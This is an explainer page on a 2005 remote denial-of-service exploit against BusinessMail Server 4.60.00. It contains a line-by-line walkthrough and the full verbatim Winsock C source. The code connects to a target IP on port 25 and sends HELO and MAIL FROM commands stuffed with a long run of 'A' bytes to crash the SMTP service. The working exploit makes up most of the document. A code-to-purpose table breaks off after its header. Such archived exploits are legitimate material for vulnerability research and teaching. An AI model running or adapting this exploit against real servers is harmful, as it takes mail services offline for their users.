BusinessMail Server 4.60.00 Remote Denial of Service Exploit Explained

BusinessMail Server 4.60.00 Remote Denial of Service Exploit Explained
What this paper is
This paper details a remote denial-of-service (DoS) vulnerability in BusinessMail Server version 4.60.00. The exploit, coded by Kozan based on earlier work by Reed Arvin, targets the Simple Mail Transfer Protocol (SMTP) service of the vulnerable server. By sending overly long and malformed commands, the exploit aims to crash the server process, rendering it unavailable to legitimate users.
Simple technical breakdown
The BusinessMail Server, like many mail servers, listens for commands over the SMTP protocol, typically on port 25. The exploit sends two specific commands: HELO and MAIL FROM. However, instead of providing valid hostnames or email addresses, it substitutes them with an extremely long string of 'A' characters. This excessive data overwhelms the server's buffer handling for these commands, leading to a crash and a denial of service.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down:
Header Files and Pragmas:
#include <winsock2.h>: This header provides Windows Sockets API functions for network programming.#include <windows.h>: This header provides general Windows API functions.#include <stdio.h>: This header provides standard input/output functions likefprintfandprintf.#pragma comment(lib,"ws2_32.lib"): This directive tells the linker to include thews2_32.liblibrary, which contains the Winsock functions.
Payload Buffer:
char Buff[] = ...;: This array of characters (Buff) contains a very long sequence of the hexadecimal value0x41, which corresponds to the ASCII character 'A'. This is the core of the exploit payload. It's designed to be excessively long.
Main Function (main):
int main(int argc, char *argv[]): The entry point of the program.argc: Argument count.argv: Argument vector (array of strings representing command-line arguments).
Informational Output:
- The initial
fprintfstatements print details about the exploit, its authors, and contact information. This is standard practice for many exploit scripts.
- The initial
Argument Check:
if(argc<2): Checks if at least one command-line argument (the target IP address) is provided.fprintf(stderr, "\n\nUsage: %s [Target IP]\n\n", argv[0]);: If no target IP is given, it prints a usage message to standard error.return -1;: Exits the program with an error code.
Winsock Initialization:
WSADATA wsaData;: Declares aWSADATAstructure to hold Winsock information.SOCKET sock;: Declares aSOCKETvariable to represent the network socket.if( WSAStartup(0x0101,&wsaData) < 0 ): Initializes the Winsock DLL.0x0101is the version requested.fprintf(stderr, "Winsock error!\n"); return -1;: Handles potential Winsock initialization errors.
Socket Creation:
sock = socket(AF_INET, SOCK_STREAM,0);: Creates a network socket.AF_INET: Specifies the IPv4 address family.SOCK_STREAM: Specifies a stream socket (TCP).0: Specifies the default protocol (usually TCP for stream sockets).
if( sock == -1 ): Checks for socket creation errors.fprintf(stderr, "Socket error!\n"); return -1;: Handles socket creation errors.
Server Address Configuration:
struct sockaddr_in addr;: Declares asockaddr_instructure to hold the server's address information.addr.sin_family = AF_INET;: Sets the address family to IPv4.addr.sin_port = htons(25);: Sets the destination port to 25 (standard SMTP port).htonsconverts the port number to network byte order.addr.sin_addr.s_addr = inet_addr(argv[1]);: Converts the target IP address string (fromargv[1]) into a network address format.memset(&(addr.sin_zero), '\0', 8);: Zeros out thesin_zerofield, which is unused in modern Winsock but required for compatibility.
Connection Establishment:
fprintf(stdout, "Connecting to %s ...\n", argv[1]);: Informs the user about the connection attempt.if( connect( sock, (struct sockaddr*)&addr, sizeof(struct sockaddr) ) == -1 ): Attempts to connect to the target server.fprintf(stderr, "Connection failed!\n"); closesocket(sock); return -1;: Handles connection errors, closes the socket, and exits.fprintf(stdout, "Connected.\n");: Confirms a successful connection.
Payload Construction and Sending:
char szBuf1[1024], szBuf2[1024];: Declares two buffers to hold the formatted commands.wsprintf(szBuf1, "HELO %s\r\n", Buff);: Formats theHELOcommand. It prepends "HELO " to the longBuffstring and appends the Carriage Return/Line Feed (\r\n) sequence, which is standard for SMTP commands.wsprintf(szBuf2, "MAIL FROM:%s\r\n", Buff);: Formats theMAIL FROMcommand similarly, prepending "MAIL FROM:" to theBuffstring.fprintf(stdout, "Sending HELO ...\n");: Informs the user about sending theHELOcommand.if( send(sock,szBuf1,strlen(szBuf1),0) == -1 ): Sends theHELOcommand over the socket.fprintf(stderr, "HELO string could not sent!\n"); closesocket(sock); return -1;: Handles errors during sending.fprintf(stdout, "Sending MAIL FROM ...\n");: Informs the user about sending theMAIL FROMcommand.if( send(sock,szBuf2,strlen(szBuf2),0) == -1 ): Sends theMAIL FROMcommand over the socket.fprintf(stderr, "MAIL FROM string could not sent!\n"); closesocket(sock); return -1;: Handles errors during sending.
Cleanup and Exit:
fprintf(stdout, "Operation completed...\n");: Indicates that the exploit commands have been sent.closesocket(sock);: Closes the network socket.WSACleanup();: Cleans up Winsock resources.return 0;: Exits the program successfully (from the exploit's perspective, even if the target crashed).
Mapping of code fragments to practical purpose:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*****************************************************************
BusinessMail Server Remote Denial of Service Exploit by Kozan
( Based on Reed Arvin's code in perl )
Application: BusinessMail Server 4.60.00
Vendor: www.netcplus.com
Discovered by: Reed Arvin
Exploit Coded by: Kozan
Credits to ATmaCA, Reed Arvin
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com
*****************************************************************/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
char Buff[] =
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
int main(int argc, char *argv[])
{
fprintf(stdout, "BusinessMail Server Remote Denial of Service Exploit by Kozan\n");
fprintf(stdout, "Discovered by: Reed Arvin\n");
fprintf(stdout, "Exploit Coded by: Kozan\n");
fprintf(stdout, "Credits to ATmaCA, Reed Arvin\n\n");
fprintf(stdout, "www.spyinstructors.com - kozan@spyinstructors.com\n");
if(argc<2)
{
fprintf(stderr, "\n\nUsage: %s [Target IP]\n\n", argv[0]);
return -1;
}
WSADATA wsaData;
SOCKET sock;
if( WSAStartup(0x0101,&wsaData) < 0 )
{
fprintf(stderr, "Winsock error!\n");
return -1;
}
sock = socket(AF_INET,SOCK_STREAM,0);
if( sock == -1 )
{
fprintf(stderr, "Socket error!\n");
return -1;
}
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(25);
addr.sin_addr.s_addr = inet_addr(argv[1]);
memset(&(addr.sin_zero), '\0', 8);
fprintf(stdout, "Connecting to %s ...\n", argv[1]);
if( connect( sock, (struct sockaddr*)&addr, sizeof(struct sockaddr) ) == -1 )
{
fprintf(stderr, "Connection failed!\n");
closesocket(sock);
return -1;
}
fprintf(stdout, "Connected.\n");
char szBuf1[1024], szBuf2[1024];
wsprintf(szBuf1, "HELO %s\r\n", Buff);
wsprintf(szBuf2, "MAIL FROM:%s\r\n", Buff);
fprintf(stdout, "Sending HELO ...\n");
if( send(sock,szBuf1,strlen(szBuf1),0) == -1 )
{
fprintf(stderr, "HELO string could not sent!\n");
closesocket(sock);
return -1;
}
fprintf(stdout, "Sending MAIL FROM ...\n");
if( send(sock,szBuf2,strlen(szBuf2),0) == -1 )
{
fprintf(stderr, "MAIL FROM string could not sent!\n");
closesocket(sock);
return -1;
}
fprintf(stdout, "Operation completed...\n");
closesocket(sock);
WSACleanup();
return 0;
}
// milw0rm.com [2005-08-01]